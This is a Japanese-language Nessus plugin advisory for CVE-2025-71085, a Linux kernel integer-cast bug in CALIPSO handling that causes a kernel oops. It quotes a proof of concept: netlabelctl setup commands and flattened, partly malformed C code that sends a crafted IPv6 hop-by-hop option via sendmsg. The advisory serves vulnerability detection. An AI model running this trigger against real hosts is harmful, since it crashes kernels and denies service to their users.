Linux/Unix ホストには、ベンダーが提供するパッチが利用できない脆弱性の影響を受ける複数のパッケージがインストールされています。

  - ipv6calipso_skbuff_setattr() の一部として pskb_expand_head() で発生する BUG() pskb_expand_head() の net/core/skbuff.c:2232 における BUG_ON(nhead < 0) によって引き起こされるカーネル oops が存在します。このバグは、skb_cow() が headroom > INT_MAX ie (int)(skb_headroom(skb) + len_delta) < 0で渡されるときに、calipso_skbuff_setattr() ルーチンの一部として発生します。バグの根本原因は、__skb_cow() の暗黙の整数キャストによるものです。チェックheadroom > skb_headroom(skb)は、delta = headroom - skb_headroom(skb) が決して負でないようにするためのものです。そうでなければ、pskb_expand_head() で、BUG_ON が発生します。ただし、headroom > INT_MAX および delta <= NET_SKB_PAD の場合、チェックは合格し、delta は負になり、pskb_expand_head() には nhead に負の値が渡されます。capipso_skbuff_setattr() の発生条件を修正します。ヘッドルームを拡大するために skb_cow() のみを使用することで、calipso_skbuff_setattr() 内で skb_cow() に負のヘッドルームサイズを渡すのを回避します。PoC
    「netlabelctl」ツールを使用netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add デフォルトアドレス) // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg;
    struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = struct cmsghdr *calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL;
    msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // セットアップ cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr =(char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0); (CVE-2025-71085)

Nessus は、ベンダーによって報告されたパッケージの存在に依存していることに注意してください。

検出

Linux Distros のパッチ未適用の脆弱性: CVE-2025-71085

medium Nessus プラグイン ID 283656

バージョン 1.12